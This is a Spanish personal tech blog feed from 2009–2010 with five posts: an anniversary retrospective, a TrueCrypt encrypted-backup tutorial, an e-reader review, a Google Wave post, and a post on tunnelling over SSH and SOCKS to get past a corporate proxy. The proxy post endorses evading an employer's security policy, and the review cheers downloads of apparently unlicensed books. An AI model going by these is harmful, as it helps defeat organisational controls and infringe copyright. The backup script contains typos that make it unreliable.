día...Ivánhttp://www.blogger.com/profile/00333291545491221453noreply@blogger.com7tag:blogger.com,1999:blog-12666448.post-54031914017709484252010-05-05T09:24:00.000+02:002010-05-05T09:24:00.282+02:00Quinto aniversario del blog Cómo pasa el tiempo... han pasado ya <b>cinco años</b> desde que escribir <a href="http://lopezivan.blogspot.com/2005/05/mi-primer-post.html">mi primer post</a> en el que ponía dos escuetas líneas y poco más. <br /><br> Al principio el blog empezó siendo un cajón desastre en el que contaba lo que se me pasaba por la cabeza, comentaba noticias que había leído,... en fin, un blog personal a todos los efectos, sin temática definida y sin mucho que aportar. Así fueron saliendo posts como una película de Star Wars hecha por aficionados: <a href="http://lopezivan.blogspot.com/2005/07/star-wars-revelations.html">Star Wars Revelations</a>, el alta de mi cuenta nómina de ING (que todavía sigo utilizando): <a href="http://lopezivan.blogspot.com/2005/10/cuenta-nmina-de-ing.html">Cuenta Nómina de ING</a>, un regalo de cumpleaños tecnológico: <a href="http://lopezivan.blogspot.com/2005/12/mi-regalo-de-cumpleaos.html">Mi regalo de cumpleaños</a>. Luego vinieron otros post con unas estadísticas (miserables) de visitas al blog: <a href="http://lopezivan.blogspot.com/2006/01/estadsticas.html">Estadísticas</a>, mi título de Ingeniero en Informática: <a href="http://lopezivan.blogspot.com/2006/05/ya-soy-ingeniero.html">Ya soy ingeniero...</a>, el que creo que fue mi primer post técnico de verdad sobre apache y tomcat: <a href="http://lopezivan.blogspot.com/2006/07/apache-tomcat-redireccin-ocultamiento.html">Apache + Tomcat + Redirección + Ocultamiento de puertos</a>, el flasheo de un router linksys <a href="http://lopezivan.blogspot.com/2007/01/dd-wrt-en-linksys.html">DD-WRT en Linksys</a> que Fon me vendió por 1€+IVA: <a href="http://lopezivan.blogspot.com/2006/07/punto-de-acceso-fon.html">Punto de acceso Fon</a> y un largo etcétera.<br /><br> Así llegamos al que fue el punto de inflexión en el blog y en su temática. El artículo sobre el <a href="http://lopezivan.blogspot.com/2007/03/raid-1-en-linux.html">Raid 1 en Linux</a>. Este artículo marcó un antes y un después puesto que llegó a portada de Barrapunto: <a href="http://lopezivan.blogspot.com/2007/03/el-efecto-barrapunto.html">El efecto Barrapunto</a>. A partir de ahí las visitas comenzaron a subir y me sirvió para que el blog se conociera algo más. Desde entonces fijé una temática técnica y salvo casos muy puntuales creo que la he mantenido.<br /><br> Desde entonces, surgieron artículos como el de mi nuevo PC: <a href="http://lopezivan.blogspot.com/2007/04/nuevo-ordenador.html">Nuevo ordenador</a>, la migración desde windows a linux: <a href="http://lopezivan.blogspot.com/2007/05/migracin-linux.html">Migración a Linux</a>, pruebas con el API de Google Calendar para enviarme SMS al móvil: <a href="http://lopezivan.blogspot.com/2007/05/usando-el-api-de-google-calendar.html">Usando el API de Google Calendar: Alarmas por SMS</a>. El blog también ha visto nacer a mi primera hija, <a href="http://judithlopezb.blogspot.com/">Judith</a>: <a href="http://lopezivan.blogspot.com/2007/06/he-sido-padre.html">He sido padre...</a>, "brickee" y arreglé una fonera: <a href="http://lopezivan.blogspot.com/2007/07/fonera-brickeada.html">Fonera Brickeada...</a> e incluso oculté la ventana que aparece cuando bloqueamos un equipo windows: <a href="http://lopezivan.blogspot.com/2007/10/ocultar-la-ventana-de-equipo-bloqueado.html">Ocultar la ventana de "Equipo Bloqueado" en Window...</a>.<br /><br> Posteriormente llegaron dos artículos más que también fueron portada de Barrapunto. <a href="http://lopezivan.blogspot.com/2008/02/monitorizando-sistemas-con-nagios.html">Monitorizando sistemas con Nagios</a> y <a href="http://lopezivan.blogspot.com/2008/03/raid-1-en-un-sistema-ya-instalado.html">Raid 1 en un sistema ya instalado</a>. Recordamos cómo era la informática hace unos cuantos años (no tantos): <a href="http://lopezivan.blogspot.com/2008/04/la-informtica-de-antao.html">La informática de antaño</a>, Judith dijo sus primeras palabras frikis: <a href="http://lopezivan.blogspot.com/2009/04/los-comienzos-de-un-friki-los-21-meses.html">Los comienzos de un friki... a los 21 meses</a>, me puse a programar con GWT: <a href="http://lopezivan.blogspot.com/2009/05/mufly-contabilidad-domestica-programada.html">Mufly: Contabilidad doméstica programada en GWT</a> e incluso monté un HTPC como centro multimedia en el salón: <a href="http://lopezivan.blogspot.com/2009/07/htpc-para-el-salon.html">HTPC para el salón</a>.<br /><br> ¿Y a partir de ahora qué?. Pues tal vez ir a por otros cinco años más. No sé cómo irá evolucionando el asunto ya que es cierto que ya no tengo tanto tiempo libre como antes y eso se nota en el ritmo de publicación, pero lo que tengo claro es que el blog sigue y seguirá abierto.Ivánhttp://www.blogger.com/profile/00333291545491221453noreply@blogger.com7tag:blogger.com,1999:blog-12666448.post-13563743628529078532010-03-07T10:23:00.001+01:002010-03-07T10:23:37.255+01:00Backups off-site cifrados truecrypt En todos los proyectos hay distintas etapas. Primero te das cuenta de que la forma de realizar los backups es poco óptima y segura y decides que sería mejor tener <a href="http://lopezivan.blogspot.com/2007/03/raid-1-en-linux.html">un raid 1</a> para protegerte de los fallos en disco. Un tiempo después empiezas a pensar que eso está muy bien, pero qué ocurre si te roban el ordenador (con sus 2 discos del raid), se incendia, inunda o viene un tornado y te quedas sin casa. Pues que has perdido todos tus preciados datos. En ese momento piensas en un <a href="http://en.wikipedia.org/wiki/Off-site_data_protection">backup off-site</a>, es decir, fuera de tu casa. Hay muchos servicios online, pero cuando tienes cientos de gigas de información que almacenar, pueden suponer muchos euros al mes.<br />Al final, una solución puede ser hacer el backup a un disco externo y llevar ese disco a otro sitio: la oficina, la casa de tus padres,... y cada cierto tiempo traerlo a casa, sincronizar los datos pendientes y volverlo a llevar. Pero, ¿qué ocurre si ese disco externo se pierde o roban en casa de tus padres?, que todo el mundo vería tu información. La solución para esto, el <b>cifrado</b>. <br /><br> Así es cómo lo voy a hacer. Tengo un disco duro de 120 GB que usaba antes de <a href="http://lopezivan.blogspot.com/2008/10/ampliando-un-raid-1-en-linux.html">ampliar el raid</a> y que ahora tengo en una caja externa usb. Para el cifrado, utilizo <a href="http://www.truecrypt.org/">Truecrypt</a>, del que ya he hablado varias veces y que me parece una solución estupenda.<br /><li>Creamos el dispositivo cifrado. En lugar de crear un archivo .tc voy a cifrar toda la partición. Nos pedirá que seleccionemos los algoritmos, que introduzcamos una clave y que "aporreemos" el teclado para generar las claves con cierta aleatoriedad. No elegimos sistema de archivos puesto que sólo podemos escoger FAT y nosotros formatearemos posteriormente a ext3. Este proceso puede durar mucho tiempo en función del tamaño del disco, en mi caso fueron unas dos horas.<pre>shian:~# truecrypt -c /dev/sda1</pre></li><li>Una vez finalizado el proceso, montamos el volumen cifrado indicando que no tiene filesystem.<br /><pre>shian:~# truecrypt --filesystem=none /dev/sda1 /mnt/ext_backup</pre></li><li>Vemos dónde se ha mapeado el dispositivo y lo formateamos. <b>Ojo</b> no hay que elegir /dev/sda1 puesto que sino sobreescribiríamos el volumen cifrado y tendríamos que empezar de nuevo.<pre>shian:~# truecrypt -l <br />1: /dev/sda1 /dev/mapper/truecrypt1<br /><br />shian:~# mkfs.ext3 /dev/mapper/truecrypt1</pre></li><li>Desmontamos el volumen y lo montamos en su ubicación definitiva con el sistema de archivos ya creado. Ahora ya podríamos empezar a copiar todos nuestros datos en él.<br /><pre>shian:~# truecrypt -d /dev/sda1<br /><br />shian:~# trucrypt /dev/sda1 /mnt/ext_backup<br /><br />shian:~# df -h<br />S.ficheros Tamaño Usado Disp Uso% Montado en<br />/dev/mapper/truecrypt1 113G 17G 91G 16% /mnt/ext_backup</pre></li><li>Para la sincronización he hecho un script muy sencillo con rsync que copia los datos de la partición del raid donde los deja el <a href="http://lopezivan.blogspot.com/2007/05/rsync-vs-backuppc-vs-link-backup.html">proceso de backup</a> al volumen cifrado. Sólo muestro dos directorios, pero el comando es el mismo para todos.<pre>#!/bin/bash<br />echo "Asegurate de que esté montado el volumen cifrado!!!!"<br />echo "CTRL+C para cancelar"<br />read<br /><br />DATA_HOME=/mnt/raid/datos/doraemon/current<br />BACKUP_DST=/mnt/ext_backup<br />LOG_FILE=/root/log_externalBackup/$(date +%Y%m%d_%H%M)_externalBackup.log<br />FINAL_LOG_DST=/mnt/ext_backup/logs<br /><br />rsync -avpz --stats "$DATA_HOME/media/sda2/Fotos" $BACKUP_DST > $LOG_FILE<br />rsync -avpz --stats "$DATA_HOME/media/sda2/Musica" $BACKUP_DST >> $LOG_FILE<br /><br />cp $LOG_FILE $FILE_LOG_DST/</pre></li> Y listo, con esto estaría todo terminado. Ya sólo hay que lanzar el script y esperar a la sincronización. La primera vez tardará varias horas en función del volumen de datos, pero posteriormente la copia no debería tardar demasiado.<br /><br> Tal vez esta solución no sea la más limpia y elegante, puesto que los datos no están al día, hay que acordarse de traer y llevar el disco externo (con un par de notas en Google Calendar se soluciona), pero sin duda es más barata y tienes más control de tus datos :-PIvánhttp://www.blogger.com/profile/00333291545491221453noreply@blogger.com6tag:blogger.com,1999:blog-12666448.post-69053973058729392022010-01-17T10:32:00.000+01:002010-01-17T10:33:09.520+01:008 meses con un e-book Cuando estuvimos en <a href="http://lopezivan.blogspot.com/2009/06/viaje-nueva-york-i.html">Nueva York</a> el pasado mes de mayo, una de las cosas que nos compramos (a parte de bolsos de imitación) fue un lector de libros electrónico. Más concretamente lo compramos para mi mujer, gran lectora que está devorando libros todo el año. El modelo elegido fue el <a href="http://www.sonystyle.com/webapp/wcs/stores/servlet/ProductDisplay?catalogId=10551&storeId=10151&productId=8198552921665245739&langId=-1">Sony PRS-505</a> del que ya habíamos leído mucho antes del viaje y llevábamos preparadas varias tiendas físicas en donde lo vendían a muy buen precio. Al cambio nos costó unos 220€, que aunque puede parece elevado al principio, en cuanto te has leído unos 20-25 libros lo has amortizado completamente. Es cierto que en este tiempo se ha avanzado bastante, Sony ha presentado nuevos modelos con más prestaciones e incluso más baratos, Amazon ha decidido vender en Kindle en España (aunque lo vimos a una mujer en el metro y Ana me dijo que era muy feo), e incluso Barnes & Noble ha presentado el suyo, el <a href="http://www.barnesandnoble.com/nook/index.asp">nook</a>, que parece va a ser el <i>Kindle-Killer</i>. En fin, como todo en esto de la informática, nunca se puede estar a la última...<br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqH_hPnsN-6i5oZt49ZstozJpUTdvftLjTZJ-mnW3iTftlvs_B9OdimlmlvgfStLoN7zivG-c81fIKZGILouf-cJrci-ObX8rO2uJ-oBdMIeZamaERmm7a0OQsO7o6alJ_GJ-n/s1600-h/Ebook01.jpg"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 300px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqH_hPnsN-6i5oZt49ZstozJpUTdvftLjTZJ-mnW3iTftlvs_B9OdimlmlvgfStLoN7zivG-c81fIKZGILouf-cJrci-ObX8rO2uJ-oBdMIeZamaERmm7a0OQsO7o6alJ_GJ-n/s400/Ebook01.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5427633278859945906" /></a><br /><br> Para los que nunca han tenido un ebook en las manos, decir que la nitidez y la calidad es muy buena. Al no ser una pantalla brillante no cansa la vista y al ser tinta electrónica sólo se gasta batería cuando se pasa página. Aunque en las especificaciones oficiales indica que la batería dura unos 7500 cambios de página, en realidad es algo menos (vamos, como las especifícaciones de los móviles). Aún así, se pueden leer varios libros de los gordos con una carga completa. <br /><center><table><tr><td><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqOtvRYc3U3B0HhAn-QADc4ocsv2GGHgwX3enLsRE4uqaJieFvy3KESd9wPmIDrydbuHOKrsvzwB0mA7FASvtjzPXVfo6-_l-t2INq2Urky-df1BA5W4iQ2i3-fnFDpMcUe2L-/s1600-h/Ebook02.jpg"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 300px; height: 400px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqOtvRYc3U3B0HhAn-QADc4ocsv2GGHgwX3enLsRE4uqaJieFvy3KESd9wPmIDrydbuHOKrsvzwB0mA7FASvtjzPXVfo6-_l-t2INq2Urky-df1BA5W4iQ2i3-fnFDpMcUe2L-/s400/Ebook02.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5427633280235093778" /></a></td><td><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikdxqkypniqd6Qk5BxyL7VIZYCkwmOIVX-nq_4axdhnnGrndEfWYTZsPENHOKBM_2LA889Kde6Ya5rJhOxInBAUKA45-GIc7aD6ASWEpaVgXcbbUTSJm6FBBMYuuxk5iwuCT6R/s1600-h/Ebook03.jpg"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 300px; height: 400px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikdxqkypniqd6Qk5BxyL7VIZYCkwmOIVX-nq_4axdhnnGrndEfWYTZsPENHOKBM_2LA889Kde6Ya5rJhOxInBAUKA45-GIc7aD6ASWEpaVgXcbbUTSJm6FBBMYuuxk5iwuCT6R/s400/Ebook03.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5427633287011266786" /></a></td></tr></table></center><br /> Respecto a los libros, actualmente estamos descargando libros en el formato nativo (y propietario) de Sony LRF. Es un formato ocupa que muy poco (un libro mediano son unos 500 Kbytes), permite tener índice, tabla de contenidos e incluso portada. Hay gran cantidad de libros disponibles en este formato y en distintos foros hay mucha gente que escanea, convirte, maqueta y prepara las novedades a este nuevo formato. Por ejemplo, el tercer libro de la trilogía Milenium de Stieg Larsson estaba disponible para descargar sólo 3 días después de su lanzamiento en formato físico.<br />Al viaje nos llevamos en una tarjeta sd unos cuantos libros en distintos formatos para probarlo y ya esperando en el aeropuerto para volver y durante el vuelo estuvo usándolo.<br />Yo también he utilizado el libro para leer algún pdf técnico y la experiencia es muy buena. Incluso con el zoom al mínimo en el que se muestra toda la página, la nitidez es perfecta.<br /><br> Para gestionar la biblioteca digital utilizo <a href="http://calibre.kovidgoyal.net/">Calibre</a>. Es una aplicación open source y multiplataforma (windows, linux y mac) muy completa, con gran cantidad de opciones y que se actualiza muy a menudo. Muchísimo mejor que la de Sony que viene con el lector y que por supuesto sólo funciona con windows.<br /><br> Después de 8 meses de uso mi mujer está encantada con la compra, lee ahora más que antes y encima los libros que ella quiere sin necesidad de esperar a algún cumpleaños a que se los regalen o que alguien le preste alguno. <br />Todavía recuerdo como hace algo más de un año, cenando con unos amigos salió el tema de los libros electrónicos y mi mujer decía que no sería lo mismo que los libros en papel, y que se perdía la gracia y el tacto del papel. Ahora mismo no cambia su ebook por nada... :-)Ivánhttp://www.blogger.com/profile/00333291545491221453noreply@blogger.com7tag:blogger.com,1999:blog-12666448.post-61305078907337636082009-11-24T12:51:00.003+01:002009-11-24T13:30:18.955+01:00Saltarse proxy con tunel ssh + socks Hace ya casi tres años explicaba un método para <a href="http://lopezivan.blogspot.com/2007/01/httport-htthost-o-cmo-saltarse-proxy.html">saltarse un proxy + firewall corporativo con un tunel HTTP</a>. Unos meses después nos quitaron las restricciones y podíamos conectarnos libremente a internet sin proxy (con un proxy transparente), pero hace unos días la cosa ha cambiado. Han implementado nuevas políticas de seguridad y otras vez nos hemos quedado sin acceso a gmail, facebook, blogs y demás páginas consideradas <i>hostiles</i>.<br /><br> Pero claro, ya nos lo hemos saltado de nuevo, sino no existiría este post :-D. Tengo que decir que el método no es mío, sino que lo he encontrado <a href="http://raxor.es/navegacion_segura_ssh/">aquí</a>, aunque es cierto que he estado muy cerca de la solución :-P.<br /><br> Haciendo un resumen rápido, consiste en establecer un tunel ssh por el que irá nuestra conexión a internet a las páginas prohibidas, pero en lugar de poner en el otro extremo el ordenador de nuestra casa y configurar ahí un proxy http, nos conectamos por ssh a nuestro router y él es el que se encarga de servirnos las páginas web. En el navegador, en lugar de configurar un proxy http utilizamos un proxy socks.<br /><br> Debo decir que según estaba leyendo el tutorial no pensaba que fuera posible. De hecho, aunque sabía que existían los proxies socks, no tenía claro cual era su función. En la wikipedia por medio de un ejemplo nos explican <a href="http://en.wikipedia.org/wiki/SOCKS#Comparison_between_SOCKS_and_HTTP_proxies">las diferencias entre un proxy http y un proxy socks</a>.<br /><br> Ayer configuré todo en casa y esta mañana lo he probado en el trabajo y todo funciona sin problemas. La única limitación es que al pasar todo nuestro tráfico por la conexión de casa, estamos limitados por el ancho de banda de subida (sí, subida porque nuestro router nos tiene que enviar todo) que tengamos contratado. <br />Como también tengo acceso por ssh al servidor linux donde está corriendo <a href="http://lopezivan.blogspot.com/2009/07/demo-de-mufly.html">Mufly</a> que tiene un ancho de banda mucho mayor, he hecho un test de velocidad. La primera captura es estableciendo el tunel contra mi router y la segunda contra el servidor de Mufly. La diferencia salta a la vista, así que, después de hablar con el dueño del servidor, voy a establecer el tunel por él :-P.<br /><br><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEglT5OKSOrjgRZShfvVlVRN11xIe2uXLeHzo4y2d1wpoCFfQJ3CBPyRubZwo08-tyoYDukA6nA2JJPmNU6Wa9oTxM86kldOESltViwfFTxpvz8_uSgLZbxYJP-Z51siYT5ruB78/s1600/VelocidadCasa.png"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 288px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEglT5OKSOrjgRZShfvVlVRN11xIe2uXLeHzo4y2d1wpoCFfQJ3CBPyRubZwo08-tyoYDukA6nA2JJPmNU6Wa9oTxM86kldOESltViwfFTxpvz8_uSgLZbxYJP-Z51siYT5ruB78/s400/VelocidadCasa.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5407626082629550338" /></a><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgyMWJJt7T6phteDZ704rCCH8QmHckU59sB-fWjsxM1qoNvTgxWU6km7PZJeQzB6QVg0O27RHVyGpMvOnzt89G3ut0nyW0nVlnVSJ-uYNGipzV2CliSIUcCJT4JeBjkv3fdGO2g/s1600/VelocidadServer.png"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 287px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgyMWJJt7T6phteDZ704rCCH8QmHckU59sB-fWjsxM1qoNvTgxWU6km7PZJeQzB6QVg0O27RHVyGpMvOnzt89G3ut0nyW0nVlnVSJ-uYNGipzV2CliSIUcCJT4JeBjkv3fdGO2g/s400/VelocidadServer.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5407626087434337378" /></a><br /><br />Si queréis información más técnica y detallada no hay mejor sitio que estos dos magníficos artículos de <a href="http://www.vicente-navarro.com">Vicente Navarro</a> (aka Supercoco):<br /><li><a href="http://www.vicente-navarro.com/blog/2009/05/24/creando-tuneles-tcpip-port-forwarding-con-ssh-los-8-escenarios-posibles-usando-openssh/">Creando túneles TCP/IP (port forwarding) con SSH: Los 8 escenarios posibles usando OpenSSH</a></li><li><a href="http://www.vicente-navarro.com/blog/2009/06/13/reenvio-dinamico-de-puertos-montar-un-servidor-socks-con-ssh/">Reenvío dinámico de puertos / montar un servidor SOCKS con SSH</a></li>Ivánhttp://www.blogger.com/profile/00333291545491221453noreply@blogger.com5tag:blogger.com,1999:blog-12666448.post-35933127398191348892009-10-12T00:23:00.001+02:002009-10-12T00:24:39.017+02:00Tengo cuenta en Google Wave Pues sí, lo que leéis en el título del post, desde hace una par de días tengo activa mi cuenta de Google <span style="color: rgb(51, 51, 255)">\</span><span style="color: rgb(255, 0, 0)">/</span><span style="color: rgb(255, 204, 102)">\</span><span style="color: rgb(0, 153, 0)">/</span>ave. <br /><br> En su momento, cuando salió la <i>dev preview</i> solicité mi cuenta y en poco tiempo Google me envió una invitación para probar. Hace unas semanas, cuando se han enviado las primeras 100.000 invitaciones, me llegó un wave a mi cuenta de developer con un link para activar Google Wave con mi cuenta habitual de gmail. Como podéis ver en la captura, todavía hay poco, sólo tengo un contacto (pedimos las cuentas de developer a la vez) y no hay mucho movimiento.<br /><br><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUzhA5Ptzf1Bv3nEd4_7PuhtL2Z8FyWWkLEqHaEV3tlzgn4d9nkyaD9NKY1PhbltzeY10JU0KddT8ueiAwrpFsbPEv-GXszuLKAAGClO9qN8Pg7Vsh_uXdqb2h44ezVyVMsV92/s1600-h/GoogleWave.png"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 305px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUzhA5Ptzf1Bv3nEd4_7PuhtL2Z8FyWWkLEqHaEV3tlzgn4d9nkyaD9NKY1PhbltzeY10JU0KddT8ueiAwrpFsbPEv-GXszuLKAAGClO9qN8Pg7Vsh_uXdqb2h44ezVyVMsV92/s400/GoogleWave.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5391461135118197170" /></a><br /> La primera vez que nos conectamos a Google Wave vemos que hay dos waves, el que tengo abierto en pantalla que nos da la bienvenida y otro en el que tenemos "nominaciones" para invitar a gente a usar Google Wave. Como indican en este wave las invitaciones no se envían inmediatamente, por lo que los elegidos deben tener paciencia...<br /><blockquote>Invitations will not be sent immediately. We have a lot of stamps to lick.</blockquote><br /> De momento, como he comentado, no lo puedo utilizar demasiado por falta de contactos pero la primera impresión es muy buena. La interfaz está muy cuidada y tiene pequeños detalles en los que se nota que los chicos de Google han puesto todo su esmero y que la hacen muy usable. Está totalmente desarrollada con Google Web Toolkit, aunque con mejoras que no se introducirán hasta la versión 2.0 que esperamos sea liberada dentro de poco. <br /><br> En fin, que espero que poco a poco mis contactos se vayan ampliando para poder sacarle todo el partido posible. Os mantendré informados de las novedades.<br /><br>P.D: Antes de que preguntéis, no tengo más invitaciones, he repartido todas.Ivánhttp://www.blogger.com/profile/00333291545491221453noreply@blogger.com5